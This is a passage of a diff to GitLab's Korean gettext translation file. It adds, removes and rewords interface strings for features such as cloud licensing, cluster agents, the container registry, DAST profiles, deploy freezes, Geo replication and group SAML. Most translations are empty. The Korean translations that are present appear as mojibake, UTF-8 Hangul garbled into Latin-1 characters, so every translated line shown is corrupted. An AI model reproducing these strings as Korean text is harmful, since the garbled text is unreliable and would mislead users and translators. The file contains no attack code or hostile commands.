+msgstr ""
+
msgid "Close epic"
msgstr "ì—픽 닫기"
@@ -6138,6 +6317,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6747,6 +6974,9 @@ msgstr "Kubernetes í´ëŸ¬ìŠ¤í„°ë¥¼ 만들려면 %{link_to_requirements} ë§í¬ì—
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7453,6 +7683,9 @@ msgstr "커밋..."
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr ""
msgid "Container does not exist"
msgstr "컨테ì´ë„ˆê°€ 존재하지 않습니다"
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr "컨테ì´ë„ˆ 레지스트리 ì´ë¯¸ì§€ë“¤"
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -7996,6 +8238,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8218,6 +8463,9 @@ msgstr "복사"
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "%{protocol} í´ë¡  URL 복사"
@@ -8263,9 +8511,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8323,9 +8568,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8380,12 +8634,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8419,6 +8682,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "êµ­ê°€"
@@ -8428,16 +8694,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-
msgid "Create"
msgstr "만들기"
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8582,9 +8847,6 @@ msgstr "새 íŒŒì¼ ë§Œë“¤ê¸°"
msgid "Create new file or directory"
msgstr "새 íŒŒì¼ ë˜ëŠ” 디렉토리 만들기"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "새 ë¼ë²¨ 만들기"
@@ -8606,6 +8868,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr "ìƒì„±ë¨"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8822,6 +9090,9 @@ msgstr "ì—픽 ìƒì„± 중"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr "ìƒì„± 날짜"
@@ -9123,8 +9394,9 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9219,6 +9491,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9288,6 +9563,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9348,6 +9629,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9411,12 +9698,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9493,6 +9792,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9523,6 +9825,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -9934,13 +10239,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "취소"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr "%{name} 취소"
@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "ì‚¬ìš©ìž ì´ë¦„"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr "설명:"
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr "ëª¨ë‘ ì„ íƒ í•´ì œ"
-
msgid "Design Management files and data"
msgstr ""
@@ -10358,13 +10660,13 @@ msgstr ""
msgid "Detect host keys"
msgstr "호스트 키 발견"
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr "머지 리퀘스트 프로모션 제거"
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10875,6 +11180,9 @@ msgstr "애플리케ì´ì…˜ 수정"
msgid "Edit comment"
msgstr "댓글 편집"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "설명 편집"
@@ -10887,6 +11195,9 @@ msgstr "ì—디터ì—ì„œ 파ì¼ì„ 편집하고 여기서 ë³€ê²½ì‚¬í•­ì„ ì»¤ë°‹í
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "그룹 편집: %{group_name}"
@@ -11106,6 +11417,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "ìžë™ DevOps 활성화"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11130,6 +11444,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Pseudonymizer ë°ì´í„° 수집 사용"
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11154,6 +11474,9 @@ msgstr "Prometheus 매트릭스를 활성화하고 구성합니다."
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr "외부 서비스로 분류 제어 사용"
@@ -11265,6 +11588,9 @@ msgstr "활성화ë¨"
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11334,9 +11660,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11964,19 +12287,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -11985,7 +12308,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "사ì´ë“œë°” 확장"
@@ -12234,6 +12557,9 @@ msgstr "공개 그룹 íƒìƒ‰"
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr "ì´ìŠˆ 내보내기"
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12279,9 +12599,6 @@ msgstr ""
msgid "External URL"
msgstr "외부 URL"
-msgid "External Wiki"
-msgstr "외부 위키"
-
msgid "External authentication"
msgstr "외부 ì¸ì¦"
@@ -12303,13 +12620,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
-msgstr "외부 Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12408,6 +12728,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12435,9 +12758,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12486,9 +12815,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "게시íŒì—ì„œ ì´ìŠˆë¥¼ ì œê±°í•˜ëŠ”ë° ì‹¤íŒ¨í•˜ì˜€ìŠµë‹ˆë‹¤, 다시 ì‹œë„í•´ 주십시오."
-
msgid "Failed to remove mirror."
msgstr "미러를 제거하지 못했습니다."
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr "ì´ìŠˆë¥¼ ê°±ì‹ í•˜ëŠ”ë° ì‹¤íŒ¨í•˜ì˜€ìŠµë‹ˆë‹¤, 다시 ì‹œë„í•´ 주십시오."
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -12928,10 +13251,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -12964,7 +13287,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13066,6 +13389,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "FogBugz ì´ë©”ì¼"
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13129,9 +13458,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13156,6 +13482,9 @@ msgstr "프로ì íŠ¸ í¬í¬"
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr "다른 프로ì íŠ¸ì—ì„œ í¬í¬ë¨: "
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "í¬í¬ 진행중"
@@ -13462,6 +13794,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "실패"
@@ -13531,6 +13872,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13564,6 +13914,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13591,6 +13947,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "다시 다운로드"
@@ -13603,6 +13962,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "ìƒíƒœ"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Geo|ë™ê¸°í™” ë¨"
@@ -13642,6 +14028,9 @@ msgstr "Geo|ë™ê¸°í™” 실패 - %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13675,6 +14064,9 @@ msgstr "ì•Œ 수 없는 ìƒíƒœ"
msgid "Geo|Verification failed - %{error}"
msgstr "í™•ì¸ ì‹¤íŒ¨- %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "스케줄러 대기 중"
@@ -13720,6 +14112,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13849,6 +14244,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -13972,6 +14373,24 @@ msgstr "Gitea 호스트 URL"
msgid "Gitea Import"
msgstr "Gitea 가져오기"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14014,9 +14433,6 @@ msgstr "뒤로 가기"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14146,16 +14562,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14167,6 +14580,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr "액세스 권한 부여"
@@ -14224,6 +14640,12 @@ msgstr "그룹 URL"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "그룹 아바타"
@@ -14305,9 +14727,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14410,9 +14829,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14428,7 +14853,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14524,9 +14952,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14722,9 +15147,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14860,9 +15282,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr "사용ìžì—게 ì´ë©”ì¼ ë°œì‹ "
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15039,6 +15458,9 @@ msgstr "정리, 내보내기, 경로, 전송, 삭제, 보관"
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15365,9 +15793,6 @@ msgstr "가져오기 시간 초과. 가져오기가 %{import_jobs_expiration}초
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15429,9 +15857,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16017,6 +16442,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
